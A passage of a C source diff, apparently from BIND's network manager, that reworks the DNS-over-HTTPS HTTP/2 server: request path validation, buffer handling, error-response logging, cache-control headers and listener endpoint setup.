+	socket = isc_mem_get(worker->mctx, sizeof(isc_nmsocket_t));
+	isc__nmsocket_init(socket, worker, isc_nm_httpsocket,
+			   (isc_sockaddr_t *)&session->handle->sock->iface,
+			   NULL);
+	socket->peer = session->handle->sock->peer;
 	socket->h2 = (isc_nmsocket_h2_t){
-		.buf = isc_mem_allocate(session->mctx, MAX_DNS_MESSAGE_SIZE),
 		.psock = socket,
 		.stream_id = frame->hd.stream_id,
-		.headers_error_code = ISC_HTTP_ERROR_SUCCESS
+		.headers_error_code = ISC_HTTP_ERROR_SUCCESS,
+		.request_type = ISC_HTTP_REQ_UNSUPPORTED,
+		.request_scheme = ISC_HTTP_SCHEME_UNSUPPORTED
 	};
+	isc_buffer_initnull(&socket->h2.rbuf);
+	isc_buffer_initnull(&socket->h2.wbuf);
 	session->nsstreams++;
 	isc__nm_httpsession_attach(session, &socket->h2.session);
-	socket->tid = session->handle->sock->tid;
 	ISC_LINK_INIT(&socket->h2, link);
 	ISC_LIST_APPEND(session->sstreams, &socket->h2, link);
 
@@ -1606,26 +1677,13 @@ server_on_begin_headers_callback(nghttp2_session *ngsession,
 
 static isc_nm_httphandler_t *
 find_server_request_handler(const char *request_path,
-			    isc_nmsocket_t *serversocket) {
+			    isc_nmsocket_t *serversocket, const int tid) {
 	isc_nm_httphandler_t *handler = NULL;
 
 	REQUIRE(VALID_NMSOCK(serversocket));
 
-	if (request_path == NULL || *request_path == '\0') {
-		return (NULL);
-	}
-
-	RWLOCK(&serversocket->h2.lock, isc_rwlocktype_read);
-	if (atomic_load(&serversocket->listening)) {
-		for (handler = ISC_LIST_HEAD(serversocket->h2.handlers);
-		     handler != NULL; handler = ISC_LIST_NEXT(handler, link))
-		{
-			if (!strcmp(request_path, handler->path)) {
-				break;
-			}
-		}
-	}
-	RWUNLOCK(&serversocket->h2.lock, isc_rwlocktype_read);
+	handler = http_endpoints_find(
+		request_path, http_get_listener_endpoints(serversocket, tid));
 
 	return (handler);
 }
@@ -1643,40 +1701,45 @@ server_handle_path_header(isc_nmsocket_t *socket, const uint8_t *value,
 	}
 
 	if (socket->h2.request_path != NULL) {
-		isc_mem_free(socket->mgr->mctx, socket->h2.request_path);
+		isc_mem_free(socket->worker->mctx, socket->h2.request_path);
 	}
 	socket->h2.request_path = isc_mem_strndup(
-		socket->mgr->mctx, (const char *)value, vlen + 1);
+		socket->worker->mctx, (const char *)value, vlen + 1);
+
+	if (!isc_nm_http_path_isvalid(socket->h2.request_path)) {
+		isc_mem_free(socket->worker->mctx, socket->h2.request_path);
+		socket->h2.request_path = NULL;
+		return (ISC_HTTP_ERROR_BAD_REQUEST);
+	}
+
 	handler = find_server_request_handler(socket->h2.request_path,
-					      socket->h2.session->serversocket);
+					      socket->h2.session->serversocket,
+					      socket->tid);
 	if (handler != NULL) {
 		socket->h2.cb = handler->cb;
 		socket->h2.cbarg = handler->cbarg;
-		socket->extrahandlesize = handler->extrahandlesize;
 	} else {
-		isc_mem_free(socket->mgr->mctx, socket->h2.request_path);
+		isc_mem_free(socket->worker->mctx, socket->h2.request_path);
 		socket->h2.request_path = NULL;
 		return (ISC_HTTP_ERROR_NOT_FOUND);
 	}
+
 	if (qstr != NULL) {
 		const char *dns_value = NULL;
 		size_t dns_value_len = 0;
 
-		if (socket->h2.request_type != ISC_HTTP_REQ_GET) {
-			return (ISC_HTTP_ERROR_BAD_REQUEST);
-		}
-
 		if (isc__nm_parse_httpquery((const char *)qstr, &dns_value,
-					    &dns_value_len)) {
+					    &dns_value_len))
+		{
 			const size_t decoded_size = dns_value_len / 4 * 3;
 			if (decoded_size <= MAX_DNS_MESSAGE_SIZE) {
 				if (socket->h2.query_data != NULL) {
-					isc_mem_free(socket->mgr->mctx,
+					isc_mem_free(socket->worker->mctx,
 						     socket->h2.query_data);
 				}
 				socket->h2.query_data =
 					isc__nm_base64url_to_base64(
-						socket->mgr->mctx, dns_value,
+						socket->worker->mctx, dns_value,
 						dns_value_len,
 						&socket->h2.query_data_len);
 			} else {
@@ -1729,9 +1792,6 @@ server_handle_content_length_header(isc_nmsocket_t *socket,
 	char tmp[32] = { 0 };
 	const size_t tmplen = sizeof(tmp) - 1;
 
-	if (socket->h2.request_type != ISC_HTTP_REQ_POST) {
-		return (ISC_HTTP_ERROR_BAD_REQUEST);
-	}
 	strncpy(tmp, (const char *)value,
 		valuelen > tmplen ? tmplen : valuelen);
 	socket->h2.content_length = strtoul(tmp, NULL, 10);
@@ -1757,23 +1817,6 @@ server_handle_content_type_header(isc_nmsocket_t *socket, const uint8_t *value,
 	return (resp);
 }
 
-static isc_http_error_responses_t
-server_handle_accept_header(isc_nmsocket_t *socket, const uint8_t *value,
-			    const size_t valuelen) {
-	const char type_accept_all[] = "*/*";
-	const char type_dns_message[] = DNS_MEDIA_TYPE;
-	isc_http_error_responses_t resp = ISC_HTTP_ERROR_SUCCESS;
-
-	UNUSED(socket);
-
-	if (!(HEADER_MATCH(type_dns_message, value, valuelen) ||
-	      HEADER_MATCH(type_accept_all, value, valuelen)))
-	{
-		resp = ISC_HTTP_ERROR_UNSUPPORTED_MEDIA_TYPE;
-	}
-	return (resp);
-}
-
 static isc_http_error_responses_t
 server_handle_header(isc_nmsocket_t *socket, const uint8_t *name,
 		     size_t namelen, const uint8_t *value,
@@ -1783,7 +1826,6 @@ server_handle_header(isc_nmsocket_t *socket, const uint8_t *name,
 	const char path[] = ":path";
 	const char method[] = ":method";
 	const char scheme[] = ":scheme";
-	const char accept[] = "accept";
 	const char content_length[] = "Content-Length";
 	const char content_type[] = "Content-Type";
 
@@ -1804,9 +1846,6 @@ server_handle_header(isc_nmsocket_t *socket, const uint8_t *name,
 	} else if (!was_error && HEADER_MATCH(content_type, name, namelen)) {
 		code = server_handle_content_type_header(socket, value,
 							 valuelen);
-	} else if (!was_error &&
-		   HEADER_MATCH(accept, (const char *)name, namelen)) {
-		code = server_handle_accept_header(socket, value, valuelen);
 	}
 
 	return (code);
@@ -1871,14 +1910,18 @@ server_read_callback(nghttp2_session *ngsession, int32_t stream_id,
 	UNUSED(ngsession);
 	UNUSED(session);
 
-	buflen = socket->h2.bufsize - socket->h2.bufpos;
+	buflen = isc_buffer_remaininglength(&socket->h2.wbuf);
 	if (buflen > length) {
 		buflen = length;
 	}
 
-	memmove(buf, socket->h2.buf + socket->h2.bufpos, buflen);
-	socket->h2.bufpos += buflen;
-	if (socket->h2.bufpos == socket->h2.bufsize) {
+	if (buflen > 0) {
+		(void)memmove(buf, isc_buffer_current(&socket->h2.wbuf),
+			      buflen);
+		isc_buffer_forward(&socket->h2.wbuf, buflen);
+	}
+
+	if (isc_buffer_remaininglength(&socket->h2.wbuf) == 0) {
 		*data_flags |= NGHTTP2_DATA_FLAG_EOF;
 	}
 
@@ -1892,6 +1935,15 @@ server_send_response(nghttp2_session *ngsession, int32_t stream_id,
 	nghttp2_data_provider data_prd;
 	int rv;
 
+	if (socket->h2.response_submitted) {
+		/* NGHTTP2 will gladly accept new response (write request)
+		 * from us even though we cannot send more than one over the
+		 * same HTTP/2 stream. Thus, we need to handle this case
+		 * manually. We will return failure code so that it will be
+		 * passed to the write callback. */
+		return (ISC_R_FAILURE);
+	}
+
 	data_prd.source.ptr = socket;
 	data_prd.read_callback = server_read_callback;
 
@@ -1900,12 +1952,14 @@ server_send_response(nghttp2_session *ngsession, int32_t stream_id,
 	if (rv != 0) {
 		return (ISC_R_FAILURE);
 	}
+
+	socket->h2.response_submitted = true;
 	return (ISC_R_SUCCESS);
 }
 
-#define MAKE_ERROR_REPLY(tag, code)             \
-	{                                       \
-		tag, MAKE_NV2(":status", #code) \
+#define MAKE_ERROR_REPLY(tag, code, desc)             \
+	{                                             \
+		tag, MAKE_NV2(":status", #code), desc \
 	}
 
 /*
@@ -1916,27 +1970,63 @@ server_send_response(nghttp2_session *ngsession, int32_t stream_id,
 static struct http_error_responses {
 	const isc_http_error_responses_t type;
 	const nghttp2_nv header;
+	const char *desc;
 } error_responses[] = {
-	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_SUCCESS, 200),
-	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_NOT_FOUND, 404),
-	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_PAYLOAD_TOO_LARGE, 413),
-	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_URI_TOO_LONG, 414),
-	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_UNSUPPORTED_MEDIA_TYPE, 415),
-	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_BAD_REQUEST, 400),
-	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_NOT_IMPLEMENTED, 501),
-	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_GENERIC, 500),
+	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_BAD_REQUEST, 400, "Bad Request"),
+	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_NOT_FOUND, 404, "Not Found"),
+	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_PAYLOAD_TOO_LARGE, 413,
+			 "Payload Too Large"),
+	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_URI_TOO_LONG, 414, "URI Too Long"),
+	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_UNSUPPORTED_MEDIA_TYPE, 415,
+			 "Unsupported Media Type"),
+	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_GENERIC, 500, "Internal Server Error"),
+	MAKE_ERROR_REPLY(ISC_HTTP_ERROR_NOT_IMPLEMENTED, 501, "Not Implemented")
 };
 
+static void
+log_server_error_response(const isc_nmsocket_t *socket,
+			  const struct http_error_responses *response) {
+	const int log_level = ISC_LOG_DEBUG(1);
+	isc_sockaddr_t client_addr;
+	isc_sockaddr_t local_addr;
+	char client_sabuf[ISC_SOCKADDR_FORMATSIZE];
+	char local_sabuf[ISC_SOCKADDR_FORMATSIZE];
+
+	if (!isc_log_wouldlog(isc_lctx, log_level)) {
+		return;
+	}
+
+	client_addr = isc_nmhandle_peeraddr(socket->h2.session->handle);
+	local_addr = isc_nmhandle_localaddr(socket->h2.session->handle);
+	isc_sockaddr_format(&client_addr, client_sabuf, sizeof(client_sabuf));
+	isc_sockaddr_format(&local_addr, local_sabuf, sizeof(local_sabuf));
+	isc__nmsocket_log(socket, log_level,
+			  "HTTP/2 request from %s (on %s) failed: %s %s",
+			  client_sabuf, local_sabuf, response->header.value,
+			  response->desc);
+}
+
 static isc_result_t
 server_send_error_response(const isc_http_error_responses_t error,
 			   nghttp2_session *ngsession, isc_nmsocket_t *socket) {
-	socket->h2.bufsize = 0;
-	socket->h2.bufpos = 0;
+	void *base;
+
+	REQUIRE(error != ISC_HTTP_ERROR_SUCCESS);
+
+	base = isc_buffer_base(&socket->h2.rbuf);
+	if (base != NULL) {
+		isc_mem_free(socket->h2.session->mctx, base);
+		isc_buffer_initnull(&socket->h2.rbuf);
+	}
+
+	/* We do not want the error response to be cached anywhere. */
+	socket->h2.min_ttl = 0;
 
 	for (size_t i = 0;
 	     i < sizeof(error_responses) / sizeof(error_responses[0]); i++)
 	{
 		if (error_responses[i].type == error) {
+			log_server_error_response(socket, &error_responses[i]);
 			return (server_send_response(
 				ngsession, socket->h2.stream_id,
 				&error_responses[i].header, 1, socket));
@@ -1947,14 +2037,44 @@ server_send_error_response(const isc_http_error_responses_t error,
 					   socket));
 }
 
+static void
+server_call_cb(isc_nmsocket_t *socket, isc_nm_http_session_t *session,
+	       const isc_result_t result, isc_region_t *data) {
+	isc_sockaddr_t addr;
+	isc_nmhandle_t *handle = NULL;
+
+	REQUIRE(VALID_NMSOCK(socket));
+	REQUIRE(VALID_HTTP2_SESSION(session));
+	REQUIRE(socket->h2.cb != NULL);
+
+	addr = isc_nmhandle_peeraddr(session->handle);
+	handle = isc__nmhandle_get(socket, &addr, NULL);
+	socket->h2.cb(handle, result, data, socket->h2.cbarg);
+	isc_nmhandle_detach(&handle);
+}
+
+void
+isc__nm_http_bad_request(isc_nmhandle_t *handle) {
+	isc_nmsocket_t *sock = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+	REQUIRE(VALID_NMSOCK(handle->sock));
+	sock = handle->sock;
+	REQUIRE(sock->type == isc_nm_httpsocket);
+	REQUIRE(!sock->client);
+	REQUIRE(VALID_HTTP2_SESSION(sock->h2.session));
+
+	(void)server_send_error_response(ISC_HTTP_ERROR_BAD_REQUEST,
+					 sock->h2.session->ngsession, sock);
+}
+
 static int
 server_on_request_recv(nghttp2_session *ngsession,
 		       isc_nm_http_session_t *session, isc_nmsocket_t *socket) {
 	isc_result_t result;
-	isc_nmhandle_t *handle = NULL;
-	isc_sockaddr_t addr;
 	isc_http_error_responses_t code = ISC_HTTP_ERROR_SUCCESS;
 	isc_region_t data;
+	uint8_t tmp_buf[MAX_DNS_MESSAGE_SIZE];
 
 	code = socket->h2.headers_error_code;
 	if (code != ISC_HTTP_ERROR_SUCCESS) {
@@ -1964,12 +2084,39 @@ server_on_request_recv(nghttp2_session *ngsession,
 	if (socket->h2.request_path == NULL || socket->h2.cb == NULL) {
 		code = ISC_HTTP_ERROR_NOT_FOUND;
 	} else if (socket->h2.request_type == ISC_HTTP_REQ_POST &&
-		   socket->h2.bufsize > socket->h2.content_length)
+		   socket->h2.content_length == 0)
+	{
+		code = ISC_HTTP_ERROR_BAD_REQUEST;
+	} else if (socket->h2.request_type == ISC_HTTP_REQ_POST &&
+		   isc_buffer_usedlength(&socket->h2.rbuf) >
+			   socket->h2.content_length)
 	{
 		code = ISC_HTTP_ERROR_PAYLOAD_TOO_LARGE;
 	} else if (socket->h2.request_type == ISC_HTTP_REQ_POST &&
-		   socket->h2.bufsize != socket->h2.content_length)
+		   isc_buffer_usedlength(&socket->h2.rbuf) !=
+			   socket->h2.content_length)
+	{
+		code = ISC_HTTP_ERROR_BAD_REQUEST;
+	} else if (socket->h2.request_type == ISC_HTTP_REQ_POST &&
+		   socket->h2.query_data != NULL)
+	{
+		/* The spec does not mention which value the query string for
+		 * POST should have. For GET we use its value to decode a DNS
+		 * message from it, for POST the message is transferred in the
+		 * body of the request. Taking it into account, it is much safer
+		 * to treat POST
+		 * requests with query strings as malformed ones. */
+		code = ISC_HTTP_ERROR_BAD_REQUEST;
+	} else if (socket->h2.request_type == ISC_HTTP_REQ_GET &&
+		   socket->h2.content_length > 0)
+	{
+		code = ISC_HTTP_ERROR_BAD_REQUEST;
+	} else if (socket->h2.request_type == ISC_HTTP_REQ_GET &&
+		   socket->h2.query_data == NULL)
 	{
+		/* A GET request without any query data - there is nothing to
+		 * decode. */
+		INSIST(socket->h2.query_data_len == 0);
 		code = ISC_HTTP_ERROR_BAD_REQUEST;
 	}
 
@@ -1979,42 +2126,40 @@ server_on_request_recv(nghttp2_session *ngsession,
 
 	if (socket->h2.request_type == ISC_HTTP_REQ_GET) {
 		isc_buffer_t decoded_buf;
-		isc__buffer_init(&decoded_buf, socket->h2.buf,
-				 MAX_DNS_MESSAGE_SIZE);
+		isc_buffer_init(&decoded_buf, tmp_buf, sizeof(tmp_buf));
 		if (isc_base64_decodestring(socket->h2.query_data,
 					    &decoded_buf) != ISC_R_SUCCESS)
 		{
-			code = ISC_HTTP_ERROR_GENERIC;
+			code = ISC_HTTP_ERROR_BAD_REQUEST;
 			goto error;
 		}
-		isc__buffer_usedregion(&decoded_buf, &data);
+		isc_buffer_usedregion(&decoded_buf, &data);
 	} else if (socket->h2.request_type == ISC_HTTP_REQ_POST) {
 		INSIST(socket->h2.content_length > 0);
-		data = (isc_region_t){ socket->h2.buf, socket->h2.bufsize };
+		isc_buffer_usedregion(&socket->h2.rbuf, &data);
 	} else {
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
-	addr = isc_nmhandle_peeraddr(session->handle);
-	handle = isc__nmhandle_get(socket, &addr, NULL);
-	socket->h2.cb(handle, ISC_R_SUCCESS, &data, socket->h2.cbarg);
-	isc_nmhandle_detach(&handle);
+	server_call_cb(socket, session, ISC_R_SUCCESS, &data);
+
 	return (0);
 
 error:
 	result = server_send_error_response(code, ngsession, socket);
 	if (result != ISC_R_SUCCESS) {
-		return (NGHTTP2_ERR_CALLBACK_FAILURE);
+		return (NGHTTP2_ERR_TEMPORAL_CALLBACK_FAILURE);
 	}
 	return (0);
 }
 
+static void
+http_send_cb(void *arg);
+
 void
 isc__nm_http_send(isc_nmhandle_t *handle, const isc_region_t *region,
 		  isc_nm_cb_t cb, void *cbarg) {
 	isc_nmsocket_t *sock = NULL;
-	isc__netievent_httpsend_t *ievent = NULL;
 	isc__nm_uvreq_t *uvreq = NULL;
 
 	REQUIRE(VALID_NMHANDLE(handle));
@@ -2022,8 +2167,9 @@ isc__nm_http_send(isc_nmhandle_t *handle, const isc_region_t *region,
 	sock = handle->sock;
 
 	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(sock->tid == isc_tid());
 
-	uvreq = isc__nm_uvreq_get(sock->mgr, sock);
+	uvreq = isc__nm_uvreq_get(sock);
 	isc_nmhandle_attach(handle, &uvreq->handle);
 	uvreq->cb.send = cb;
 	uvreq->cbarg = cbarg;
@@ -2031,9 +2177,7 @@ isc__nm_http_send(isc_nmhandle_t *handle, const isc_region_t *region,
 	uvreq->uvbuf.base = (char *)region->base;
 	uvreq->uvbuf.len = region->length;
 
-	ievent = isc__nm_get_netievent_httpsend(sock->mgr, sock, uvreq);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
+	isc_job_run(sock->worker->loop, &uvreq->job, http_send_cb, uvreq);
 }
 
 static void
@@ -2045,7 +2189,7 @@ failed_send_cb(isc_nmsocket_t *sock, isc__nm_uvreq_t *req,
 	if (req->cb.send != NULL) {
 		isc__nm_sendcb(sock, req, eresult, true);
 	} else {
-		isc__nm_uvreq_put(&req, sock);
+		isc__nm_uvreq_put(&req);
 	}
 }
 
@@ -2065,40 +2209,51 @@ client_httpsend(isc_nmhandle_t *handle, isc_nmsocket_t *sock,
 	}
 
 	http_do_bio(sock->h2.session, handle, cb, cbarg);
-	isc__nm_uvreq_put(&req, sock);
+	isc__nm_uvreq_put(&req);
 }
 
 static void
 server_httpsend(isc_nmhandle_t *handle, isc_nmsocket_t *sock,
 		isc__nm_uvreq_t *req) {
-	size_t len;
+	size_t content_len_buf_len, cache_control_buf_len;
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_nm_cb_t cb = req->cb.send;
 	void *cbarg = req->cbarg;
-	if (inactive(sock) || !http_session_active(handle->httpsession)) {
+	if (isc__nmsocket_closing(sock) ||
+	    !http_session_active(handle->httpsession))
+	{
 		failed_send_cb(sock, req, ISC_R_CANCELED);
 		return;
 	}
 
-	INSIST(handle->httpsession->handle->sock->tid == isc_nm_tid());
+	INSIST(handle->sock->tid == isc_tid());
 	INSIST(VALID_NMHANDLE(handle->httpsession->handle));
 	INSIST(VALID_NMSOCK(handle->httpsession->handle->sock));
 
-	memmove(sock->h2.buf, req->uvbuf.base, req->uvbuf.len);
-	sock->h2.bufsize = req->uvbuf.len;
-
-	len = snprintf(sock->h2.clenbuf, sizeof(sock->h2.clenbuf), "%lu",
-		       (unsigned long)req->uvbuf.len);
-	const nghttp2_nv hdrs[] = {
-		MAKE_NV2(":status", "200"),
-		MAKE_NV2("Content-Type", DNS_MEDIA_TYPE),
-		MAKE_NV("Content-Length", sock->h2.clenbuf, len),
-		/*
-		 * TODO: implement Cache-Control: max-age=<seconds>
-		 * (https://tools.ietf.org/html/rfc8484#section-5.1)
-		 */
-		MAKE_NV2("cache-control", DEFAULT_CACHE_CONTROL)
-	};
+	isc_buffer_init(&sock->h2.wbuf, req->uvbuf.base, req->uvbuf.len);
+	isc_buffer_add(&sock->h2.wbuf, req->uvbuf.len);
+
+	content_len_buf_len = snprintf(sock->h2.clenbuf,
+				       sizeof(sock->h2.clenbuf), "%lu",
+				       (unsigned long)req->uvbuf.len);
+	if (sock->h2.min_ttl == 0) {
+		cache_control_buf_len =
+			snprintf(sock->h2.cache_control_buf,
+				 sizeof(sock->h2.cache_control_buf), "%s",
+				 DEFAULT_CACHE_CONTROL);
+	} else {
+		cache_control_buf_len =
+			snprintf(sock->h2.cache_control_buf,
+				 sizeof(sock->h2.cache_control_buf),
+				 "max-age=%" PRIu32, sock->h2.min_ttl);
+	}
+	const nghttp2_nv hdrs[] = { MAKE_NV2(":status", "200"),
+				    MAKE_NV2("Content-Type", DNS_MEDIA_TYPE),
+				    MAKE_NV("Content-Length", sock->h2.clenbuf,
+					    content_len_buf_len),
+				    MAKE_NV("Cache-Control",
+					    sock->h2.cache_control_buf,
+					    cache_control_buf_len) };
 
 	result = server_send_response(handle->httpsession->ngsession,
 				      sock->h2.stream_id, hdrs,
@@ -2109,29 +2264,25 @@ server_httpsend(isc_nmhandle_t *handle, isc_nmsocket_t *sock,
 	} else {
 		cb(handle, result, cbarg);
 	}
-	isc__nm_uvreq_put(&req, sock);
+	isc__nm_uvreq_put(&req);
 }
 
-void
-isc__nm_async_httpsend(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_httpsend_t *ievent = (isc__netievent_httpsend_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-	isc__nm_uvreq_t *req = ievent->req;
-	isc_nmhandle_t *handle = NULL;
-	isc_nm_http_session_t *session = NULL;
+static void
+http_send_cb(void *arg) {
+	isc__nm_uvreq_t *req = arg;
+
+	REQUIRE(VALID_UVREQ(req));
 
-	UNUSED(worker);
+	isc_nmsocket_t *sock = req->sock;
 
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(VALID_UVREQ(req));
 	REQUIRE(VALID_HTTP2_SESSION(sock->h2.session));
 
-	ievent->req = NULL;
-	handle = req->handle;
+	isc_nmhandle_t *handle = req->handle;
 
 	REQUIRE(VALID_NMHANDLE(handle));
 
-	session = sock->h2.session;
+	isc_nm_http_session_t *session = sock->h2.session;
 	if (session != NULL && session->client) {
 		client_httpsend(handle, sock, req);
 	} else {
@@ -2163,14 +2314,10 @@ isc__nm_http_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg) {
 	cstream->read_cbarg = cbarg;
 	cstream->reading = true;
 
-	if (!ISC_LINK_LINKED(cstream, link)) {
-		ISC_LIST_PREPEND(session->cstreams, cstream, link);
-	}
-
 	if (cstream->sending) {
 		result = client_submit_request(session, cstream);
 		if (result != ISC_R_SUCCESS) {
-			ISC_LIST_UNLINK(session->cstreams, cstream, link);
+			put_http_cstream(session->mctx, cstream);
 			return;
 		}
 
@@ -2193,9 +2340,12 @@ server_on_frame_recv_callback(nghttp2_session *ngsession,
 				ngsession, frame->hd.stream_id);
 
 			/*
-			 * For DATA and HEADERS frame, this callback may be
-			 * called after on_stream_close_callback. Check that
-			 * the stream is still alive.
+			 * For DATA and HEADERS frame,
+			 * this callback may be called
+			 * after
+			 * on_stream_close_callback.
+			 * Check that the stream is
+			 * still alive.
 			 */
 			if (socket == NULL) {
 				return (0);
@@ -2246,7 +2396,7 @@ static int
 server_send_connection_header(isc_nm_http_session_t *session) {
 	nghttp2_settings_entry iv[1] = {
 		{ NGHTTP2_SETTINGS_MAX_CONCURRENT_STREAMS,
-		  MAX_STREAMS_PER_SESSION }
+		  session->max_concurrent_streams }
 	};
 	int rv;
 
@@ -2267,71 +2417,36 @@ server_send_connection_header(isc_nm_http_session_t *session) {
  */
 static void
 http_transpost_tcp_nodelay(isc_nmhandle_t *transphandle) {
-	isc_nmsocket_t *tcpsock = NULL;
-	uv_os_fd_t tcp_fd = (uv_os_fd_t)-1;
-
-	if (transphandle->sock->type == isc_nm_tlssocket) {
-		tcpsock = transphandle->sock->outerhandle->sock;
-	} else {
-		tcpsock = transphandle->sock;
-	}
-
-	(void)uv_fileno((uv_handle_t *)&tcpsock->uv_handle.tcp, &tcp_fd);
-	RUNTIME_CHECK(tcp_fd != (uv_os_fd_t)-1);
-	(void)isc__nm_socket_tcp_nodelay((uv_os_sock_t)tcp_fd);
+	(void)isc_nmhandle_set_tcp_nodelay(transphandle, true);
 }
 
 static isc_result_t
 httplisten_acceptcb(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
-	isc_nmsocket_t *httplistensock = (isc_nmsocket_t *)cbarg;
+	isc_nmsocket_t *httpserver = (isc_nmsocket_t *)cbarg;
 	isc_nm_http_session_t *session = NULL;
-	isc_nmsocket_t *listener = NULL, *httpserver = NULL;
 
 	REQUIRE(VALID_NMHANDLE(handle));
 	REQUIRE(VALID_NMSOCK(handle->sock));
 
-	if (handle->sock->type == isc_nm_tlssocket) {
-		REQUIRE(VALID_NMSOCK(handle->sock->listener));
-		listener = handle->sock->listener;
-		httpserver = listener->h2.httpserver;
-	} else {
-		REQUIRE(VALID_NMSOCK(handle->sock->server));
-		listener = handle->sock->server;
-		REQUIRE(VALID_NMSOCK(listener->parent));
-		httpserver = listener->parent->h2.httpserver;
-	}
-
-	/*
-	 * NOTE: HTTP listener socket might be destroyed by the time this
-	 * function gets invoked, so we need to do extra sanity checks to
-	 * detect this case.
-	 */
-	if (inactive(handle->sock) || httpserver == NULL) {
-		return (ISC_R_CANCELED);
-	}
-
-	if (result != ISC_R_SUCCESS) {
-		/* XXXWPK do nothing? */
+	if (isc__nm_closing(handle->sock->worker)) {
+		return (ISC_R_SHUTTINGDOWN);
+	} else if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
 
-	REQUIRE(VALID_NMSOCK(httplistensock));
-	INSIST(httplistensock == httpserver);
-
-	if (inactive(httplistensock) ||
-	    !atomic_load(&httplistensock->listening)) {
-		return (ISC_R_CANCELED);
-	}
+	REQUIRE(VALID_NMSOCK(httpserver));
+	REQUIRE(httpserver->type == isc_nm_httplistener);
 
 	http_transpost_tcp_nodelay(handle);
 
-	new_session(httplistensock->mgr->mctx, NULL, &session);
+	new_session(handle->sock->worker->mctx, NULL, &session);
+	session->max_concurrent_streams =
+		atomic_load_relaxed(&httpserver->h2.max_concurrent_streams);
 	initialize_nghttp2_server_session(session);
 	handle->sock->h2.session = session;
 
 	isc_nmhandle_attach(handle, &session->handle);
-	isc__nmsocket_attach(httplistensock, &session->serversocket);
-	session->server_iface = isc_nmhandle_localaddr(session->handle);
+	isc__nmsocket_attach(httpserver, &session->serversocket);
 	server_send_connection_header(session);
 
 	/* TODO H2 */
@@ -2340,44 +2455,149 @@ httplisten_acceptcb(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
 }
 
 isc_result_t
-isc_nm_listenhttp(isc_nm_t *mgr, isc_sockaddr_t *iface, int backlog,
-		  isc_quota_t *quota, isc_tlsctx_t *ctx,
+isc_nm_listenhttp(isc_nm_t *mgr, uint32_t workers, isc_sockaddr_t *iface,
+		  int backlog, isc_quota_t *quota, isc_tlsctx_t *ctx,
+		  isc_nm_http_endpoints_t *eps, uint32_t max_concurrent_streams,
 		  isc_nmsocket_t **sockp) {
 	isc_nmsocket_t *sock = NULL;
 	isc_result_t result;
+	isc__networker_t *worker = &mgr->workers[isc_tid()];
 
-	sock = isc_mem_get(mgr->mctx, sizeof(*sock));
-	isc__nmsocket_init(sock, mgr, isc_nm_httplistener, iface);
+	REQUIRE(!ISC_LIST_EMPTY(eps->handlers));
+	REQUIRE(!ISC_LIST_EMPTY(eps->handler_cbargs));
+	REQUIRE(atomic_load(&eps->in_use) == false);
+	REQUIRE(isc_tid() == 0);
+
+	sock = isc_mem_get(worker->mctx, sizeof(*sock));
+	isc__nmsocket_init(sock, worker, isc_nm_httplistener, iface, NULL);
+	atomic_init(&sock->h2.max_concurrent_streams,
+		    NGHTTP2_INITIAL_MAX_CONCURRENT_STREAMS);
+
+	isc_nmsocket_set_max_streams(sock, max_concurrent_streams);
+
+	atomic_store(&eps->in_use, true);
+	http_init_listener_endpoints(sock, eps);
 
 	if (ctx != NULL) {
-		isc_tlsctx_enable_http2server_alpn(ctx);
-		result = isc_nm_listentls(mgr, iface, httplisten_acceptcb, sock,
-					  sizeof(isc_nm_http_session_t),
-					  backlog, quota, ctx, &sock->outer);
+		result = isc_nm_listentls(mgr, workers, iface,
+					  httplisten_acceptcb, sock, backlog,
+					  quota, ctx, &sock->outer);
 	} else {
-		result = isc_nm_listentcp(mgr, iface, httplisten_acceptcb, sock,
-					  sizeof(isc_nm_http_session_t),
-					  backlog, quota, &sock->outer);
+		result = isc_nm_listentcp(mgr, workers, iface,
+					  httplisten_acceptcb, sock, backlog,
+					  quota, &sock->outer);
 	}
 
 	if (result != ISC_R_SUCCESS) {
-		atomic_store(&sock->closed, true);
+		sock->closed = true;
 		isc__nmsocket_detach(&sock);
 		return (result);
 	}
 
-	isc__nmsocket_attach(sock, &sock->outer->h2.httpserver);
-
 	sock->nchildren = sock->outer->nchildren;
-	sock->result = ISC_R_UNSET;
-	sock->tid = 0;
 	sock->fd = (uv_os_sock_t)-1;
 
-	atomic_store(&sock->listening, true);
 	*sockp = sock;
 	return (ISC_R_SUCCESS);
 }
 
+isc_nm_http_endpoints_t *
+isc_nm_http_endpoints_new(isc_mem_t *mctx) {
+	isc_nm_http_endpoints_t *restrict eps;
+	REQUIRE(mctx != NULL);
+
+	eps = isc_mem_get(mctx, sizeof(*eps));
+	*eps = (isc_nm_http_endpoints_t){ .mctx = NULL };
+
+	isc_mem_attach(mctx, &eps->mctx);
+	ISC_LIST_INIT(eps->handler_cbargs);
+	ISC_LIST_INIT(eps->handlers);
+	isc_refcount_init(&eps->references, 1);
+	atomic_init(&eps->in_use, false);
+	eps->magic = HTTP_ENDPOINTS_MAGIC;
+
+	return eps;
+}
+
+void
+isc_nm_http_endpoints_detach(isc_nm_http_endpoints_t **restrict epsp) {
+	isc_nm_http_endpoints_t *restrict eps;
